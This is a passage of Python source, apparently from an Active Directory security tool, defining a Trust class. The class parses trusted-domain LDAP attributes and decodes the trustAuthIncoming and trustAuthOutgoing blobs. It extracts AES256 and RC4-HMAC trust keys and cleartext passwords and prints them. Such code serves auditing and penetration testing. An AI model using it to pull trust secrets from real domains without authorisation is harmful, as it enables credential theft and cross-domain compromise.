		self.flat_name = attrs.get('flatName', None)
		self.trust_direction = attrs.get('trustDirection', None)
		self.trust_type = attrs.get('trustType', None)
		self.trust_attributes = attrs.get('trustAttributes', None)
		self.when_created = attrs.get('whenCreated', None)
		self.when_changed = attrs.get('whenChanged', None)
		
		# Process security identifier
		if 'securityIdentifier' in attrs:
			try:
				self.security_identifier = format_sid(attrs['securityIdentifier'])
			except Exception as e:
				LOG.error(f"Error parsing securityIdentifier: {str(e)}")
		
		# Process security descriptor
		if 'nTSecurityDescriptor' in attrs:
			try:
				sec_desc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=attrs['nTSecurityDescriptor'])
				if sec_desc['OwnerSid']:
					self.owner_sid = sec_desc['OwnerSid'].formatCanonical()
			except Exception as e:
				LOG.error(f"Error parsing security descriptor: {str(e)}")
		
		# Process trust keys
		if 'trustAuthIncoming' in attrs and attrs['trustAuthIncoming']:
			try:
				# Get raw data
				auth_in = attrs['trustAuthIncoming']
				if isinstance(auth_in, list) and auth_in:
					auth_in = auth_in[0]
				self.incoming_keys_raw = auth_in
				
				# Parse the data
				self.incoming_keys = self._parse_auth_data(auth_in)
			except Exception as e:
				LOG.error(f"Error parsing trustAuthIncoming: {str(e)}")
				import traceback
				LOG.debug(traceback.format_exc())
		
		if 'trustAuthOutgoing' in attrs and attrs['trustAuthOutgoing']:
			try:
				# Get raw data
				auth_out = attrs['trustAuthOutgoing']
				if isinstance(auth_out, list) and auth_out:
					auth_out = auth_out[0]
				self.outgoing_keys_raw = auth_out
				
				# Parse the data
				self.outgoing_keys = self._parse_auth_data(auth_out)
			except Exception as e:
				LOG.error(f"Error parsing trustAuthOutgoing: {str(e)}")
				import traceback
				LOG.debug(traceback.format_exc())
	
	def _parse_auth_data(self, auth_data):
		"""
		Parse the binary trustAuthIncoming/trustAuthOutgoing data
		
		The structure is:
		- Version (2 bytes)
		- Count (2 bytes) - number of entries
		- Entries array where each entry contains:
			- Type (4 bytes) - type of auth data
			- Time (8 bytes) - timestamp
			- Data (variable length) - the actual key material
			
		Returns:
			List of dictionaries with parsed key information
		"""
		if not auth_data:
			return []
			
		entries = []
		try:
			pos = 0
			version = int.from_bytes(auth_data[pos:pos+2], byteorder='little')
			pos += 2
			count = int.from_bytes(auth_data[pos:pos+2], byteorder='little')
			pos += 2
			
			for _ in range(count):
				entry = {}
				entry['Version'] = version
				
				# Get auth type
				auth_type = int.from_bytes(auth_data[pos:pos+4], byteorder='little')
				entry['AuthType'] = auth_type
				pos += 4
				
				# Get timestamp
				timestamp = int.from_bytes(auth_data[pos:pos+8], byteorder='little')
				entry['Timestamp'] = self._windows_time_to_datetime(timestamp)
				pos += 8
				
				# Determine auth data length and get the data
				if auth_type == self.TRUST_AUTH_TYPE_VERSION:
					# Version structure for AES keys
					auth_data_len = 12 + 32  # Header (12) + AES256 key (32)
					raw_data = auth_data[pos:pos+auth_data_len]
					
					# Extract fields from VERSION structure
					version_size = int.from_bytes(raw_data[0:2], byteorder='little')
					version_type = int.from_bytes(raw_data[2:4], byteorder='little')
					version_current = int.from_bytes(raw_data[4:8], byteorder='little')
					version_previous = int.from_bytes(raw_data[8:12], byteorder='little')
					
					entry['KeyType'] = 'AES256' if version_size == 32 else f'Unknown-{version_size}'
					entry['VersionType'] = version_type
					entry['VersionCurrent'] = version_current
					entry['VersionPrevious'] = version_previous
					
					# Get the actual key material (skip the header)
					key_material = raw_data[12:12+version_size]
					entry['Key'] = key_material.hex()
					
				elif auth_type in [self.TRUST_AUTH_TYPE_CLEAR_NT_ONLY, self.TRUST_AUTH_TYPE_CLEAR_BOTH]:
					# RC4-HMAC key
					auth_data_len = 16  # RC4-HMAC key (16 bytes)
					key_material = auth_data[pos:pos+auth_data_len]
					entry['KeyType'] = 'RC4-HMAC'
					entry['Key'] = key_material.hex()
					
				elif auth_type == self.TRUST_AUTH_TYPE_CLEAR_PW:
					# UTF-16 encoded password
					# Need to find null terminator
					start = pos
					while pos < len(auth_data):
						if auth_data[pos:pos+2] == b'\x00\x00':
							pos += 2  # Include null terminator
							break
						pos += 2
					
					auth_data_len = pos - start
					password_bytes = auth_data[start:pos]
					try:
						entry['KeyType'] = 'Password'
						entry['Key'] = password_bytes.decode('utf-16-le')
					except:
						entry['KeyType'] = 'Password (binary)'
						entry['Key'] = password_bytes.hex()
				else:
					# Unknown type, grab a reasonable amount of data
					auth_data_len = 16  # Default size
					entry['KeyType'] = f'Unknown-{auth_type}'
					entry['Key'] = auth_data[pos:pos+auth_data_len].hex()
				
				pos += auth_data_len
				entries.append(entry)
				
		except Exception as e:
			LOG.error(f'Error parsing auth data: {str(e)}')
			import traceback
			LOG.debug(traceback.format_exc())
			
		return entries
	
	def _windows_time_to_datetime(self, windows_time):
		"""Convert Windows filetime to Python datetime"""
		try:
			# Windows time is in 100-nanosecond intervals since January 1, 1601
			# Need to convert to seconds and adjust for the epoch difference
			seconds_since_1601 = windows_time / 10000000
			epoch_diff = 11644473600  # Seconds between 1601-01-01 and 1970-01-01
			unix_time = seconds_since_1601 - epoch_diff
			
			# Convert to datetime
			return datetime.datetime.fromtimestamp(unix_time).isoformat()
		except:
			return str(windows_time)
	
	def has_incoming_keys(self):
		"""Check if the trust has incoming keys"""
		return len(self.incoming_keys) > 0
	
	def has_outgoing_keys(self):
		"""Check if the trust has outgoing keys"""
		return len(self.outgoing_keys) > 0
	
	def get_latest_key(self, key_type=None, direction="incoming"):
		"""
		Get the most recent key of the specified type and direction
		
		Args:
			key_type: Type of key to get (e.g., 'AES256', 'RC4-HMAC')
			direction: 'incoming' or 'outgoing'
			
		Returns:
			Dictionary with key information or None if not found
		"""
		keys = self.incoming_keys if direction.lower() == "incoming" else self.outgoing_keys
		
		if not keys:
			return None
			
		# If no key type specified, get the newest key of any type
		if key_type is None:
			return keys[0]
			
		for entry in keys:
			if entry.get('KeyType') == key_type:
				return entry
				
		return None
	
	def get_trust_direction_string(self):
		"""Get a human-readable string for the trust direction"""
		if self.trust_direction is None:
			return "Unknown"
			
		direction_map = {
			self.TRUST_DIRECTION_DISABLED: "Disabled",
			self.TRUST_DIRECTION_INBOUND: "Inbound",
			self.TRUST_DIRECTION_OUTBOUND: "Outbound",
			self.TRUST_DIRECTION_BIDIRECTIONAL: "Bidirectional"
		}
		
		return direction_map.get(self.trust_direction, f"Unknown ({self.trust_direction})")
	
	def get_trust_type_string(self):
		"""Get a human-readable string for the trust type"""
		if self.trust_type is None:
			return "Unknown"
			
		type_map = {
			self.TRUST_TYPE_DOWNLEVEL: "Windows NT 4.0 or earlier (DOWNLEVEL)",
			self.TRUST_TYPE_UPLEVEL: "Windows 2000 or later (UPLEVEL)",
			self.TRUST_TYPE_MIT: "MIT Kerberos realm",
			self.TRUST_TYPE_DCE: "DCE realm"
		}
		
		return type_map.get(self.trust_type, f"Unknown ({self.trust_type})")
	
	def get_trust_attributes_list(self):
		"""Get a list of trust attribute flags as strings"""
		if self.trust_attributes is None:
			return ["None"]
			
		attribute_map = {
			self.TRUST_ATTRIBUTE_NON_TRANSITIVE: "Non-Transitive",
			self.TRUST_ATTRIBUTE_UPLEVEL_ONLY: "Uplevel Only",
			self.TRUST_ATTRIBUTE_QUARANTINED_DOMAIN: "Quarantined Domain",
			self.TRUST_ATTRIBUTE_FOREST_TRANSITIVE: "Forest Transitive",
			self.TRUST_ATTRIBUTE_CROSS_ORGANIZATION: "Cross-Organization",
			self.TRUST_ATTRIBUTE_WITHIN_FOREST: "Within Forest",
			self.TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL: "Treat as External",
			self.TRUST_ATTRIBUTE_USES_RC4_ENCRYPTION: "Uses RC4 Encryption"
		}
		
		result = []
		for flag, name in attribute_map.items():
			if self.trust_attributes & flag:
				result.append(name)
				
		return result if result else ["None"]
	
	def to_dict(self):
		"""Return a dictionary representation of the trust"""
		return {
			'DistinguishedName': self.dn,
			'Name': self.name,
			'TrustPartner': self.trust_partner,
			'FlatName': self.flat_name,
			'TrustDirection': {
				'Value': self.trust_direction,
				'Name': self.get_trust_direction_string()
			},
			'TrustType': {
				'Value': self.trust_type,
				'Name': self.get_trust_type_string()
			},
			'TrustAttributes': {
				'Value': self.trust_attributes,
				'Flags': self.get_trust_attributes_list()
			},
			'WhenCreated': self.when_created,
			'WhenChanged': self.when_changed,
			'SecurityIdentifier': self.security_identifier,
			'OwnerSid': self.owner_sid,
			'IncomingTrustKeys': self.incoming_keys,
			'OutgoingTrustKeys': self.outgoing_keys
		}
	
	def __str__(self):
		"""Return a human-readable string representation of the trust"""
		result = f"Trust: {self.name}\n"
		result += f"  Distinguished Name: {self.dn}\n"
		result += f"  Trust Partner: {self.trust_partner}\n"
		result += f"  Trust Direction: {self.get_trust_direction_string()}\n"
		result += f"  Trust Type: {self.get_trust_type_string()}\n"
		result += f"  Trust Attributes: {', '.join(self.get_trust_attributes_list())}\n"
		result += f"  Security Identifier: {self.security_identifier}\n"
		result += f"  Owner SID: {self.owner_sid}\n"
		
		if self.has_incoming_keys():
			result += "  Incoming Trust Keys:\n"
			for i, key in enumerate(self.incoming_keys):
				result += f"    Key {i+1}: {key.get('KeyType', 'Unknown')}, {key.get('Timestamp', 'N/A')}\n"
				result += f"      Value: {key.get('Key', 'N/A')}\n"
		else:
			result += "  Incoming Trust Keys: None\n"
			
		if self.has_outgoing_keys():
			result += "  Outgoing Trust Keys:\n"
			for i, key in enumerate(self.outgoing_keys):
				result += f"    Key {i+1}: {key.get('KeyType', 'Unknown')}, {key.get('Timestamp', 'N/A')}\n"
				result += f"      Value: {key.get('Key', 'N/A')}\n"
		else:
			result += "  Outgoing Trust Keys: None\n"
			
		return result

# For backward compatibility
TrustKeyInfo = Trust
